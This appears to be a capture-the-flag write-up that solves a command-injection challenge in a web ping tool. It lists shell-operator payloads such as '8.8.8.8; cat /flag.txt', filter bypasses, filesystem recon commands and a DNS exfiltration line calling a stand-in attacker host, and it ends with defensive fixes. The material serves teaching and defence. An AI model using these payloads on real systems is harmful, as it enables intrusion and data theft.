Description
Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?
Setup
Launch the challenge instance and open the web interface.
The site accepts an IP address and runs ping against it.
Solution
Walk me through it- Step 1Identify the injection pointThe web app takes a user-supplied IP and passes it directly to the shell's ping command without sanitisation. This allows command injection by appending shell operators.
Learn more
Command injection occurs when user-controlled input is concatenated into a shell command string and executed by a system shell. The classic example is a web "ping tool" that constructs the command as
ping -c 4 <user_input>and passes it toshell_exec(),os.system(),subprocess.run(shell=True), or equivalent. Since shells interpret special characters, appending one to the input lets you run arbitrary additional commands.The full operator menu, in order of how often you should reach for them:
;run the next command unconditionally after the ping finishes.|pipe ping's stdout into the injected command (also useful for hiding ping noise).&&run only if ping exited 0;||runs only if ping failed (handy when the IP is filtered).&background ping and immediately run the next command.`cmd`and$(cmd)command substitution; the result ofcmdis spliced in where the input goes.%0aURL-encoded newline. Bypasses naive blocklists that strip;and|.${IFS}or%09substitutes for spaces if whitespace is filtered.
This vulnerability class is ranked in the OWASP Top 10 as "Injection" (A03). For the broader pattern catalogue see the Command injection for CTF post and Web challenges and real-world bug patterns. Network devices (routers, switches, NAS boxes) are particularly common victims because they often expose diagnostic tools like ping through a web UI.
- Step 2Recon, then injectDon't assume /flag.txt. Run discovery commands through the injection first, then dump the actual flag path you find. Pasting the wrong path makes you think the bug doesn't work.bash
8.8.8.8; ls /bash8.8.8.8; find / -name '*flag*' -type f 2>/dev/nullbash8.8.8.8; env | grep -i flagbash# Then read whatever path discovery turned up:bash8.8.8.8; cat /flag.txtbash8.8.8.8; cat /home/ctf-player/flagLearn more
The payload
8.8.8.8; cat /flag.txtworks because the shell first executesping -c 4 8.8.8.8, and then (because of the;operator) executescat /flag.txt. Both outputs are returned to the page, so the flag appears mixed with ping statistics.When the exact flag location is unknown, recon first:
ls /to list the root directory,find / -name "*flag*" -type f 2>/dev/nullto scan the whole filesystem (2>/dev/nullswallows permission errors that would otherwise drown out the hit), andenv | grep -i flagto check environment variables (some challenges put the flag there directly). Common locations:/flag.txt,/flag,/home/ctf-player/flag.txt,/root/flag.txt.If the semicolon is filtered, swap in any of the alternative operators above (pipe, &&, %0a, backticks). If even the alternatives are blocked, look for blind injection paths: trigger a
sleep 5and watch response time, or exfiltrate via DNS withnslookup $(whoami).attacker.com. - Step 3Read the flag outputThe server executes the injected command and returns the output in the page response, revealing the flag.
Learn more
When command injection is successful and the output is reflected in the response (as in this challenge), it's called in-band command injection. You see the results directly. More difficult variants include blind command injection, where there is no output reflection and you must use time delays (
sleep 5) or out-of-band channels (DNS lookups, HTTP requests to an attacker-controlled server) to confirm execution and exfiltrate data.The single most important defensive fix is to not hand user input to a shell. The contrast looks like this:
# VULNERABLE: shell concatenation import subprocess subprocess.run('ping -c 4 ' + ip, shell=True) # SAFE: argv list, no shell subprocess.run(['ping', '-c', '4', ip])The list form passes
ipdirectly as a singleargv[1]to thepingbinary. The metacharacters lose their meaning because there's no shell to interpret them. Pair this with strict allowlist validation (e.g.ipaddress.ip_address(ip)) and the bug class disappears entirely.Tools like commix automate detection and exploitation, similar to how sqlmap automates SQL injection. Understanding how to exploit it manually first is important before reaching for automated tools.
Flag
picoCTF{c0mmand_1nj3ct10n_...}
The flag is revealed directly in the ping output after command injection.
How to prevent this
How to prevent this
Command injection has one root cause: handing user input to a shell. Cut the shell out of the loop.
- Pass arguments as a list, not a concatenated string.
subprocess.run(["ping", "-c", "4", user_ip])in Python;execFile("ping", ["-c", "4", user_ip])in Node. Noshell=True, ever. - Validate the input against a strict allowlist before it touches the executor. For an IP form, parse it through
ipaddress.ip_address()(Python) ornet.ParseIP()(Go) and reject anything that doesn't round-trip cleanly. Allowlist beats blocklist every time. - Do you actually need to shell out? A library call (
scapy, an ICMP socket, or a managed health-check service) removes the attack surface entirely. The safest shell command is the one you don't run.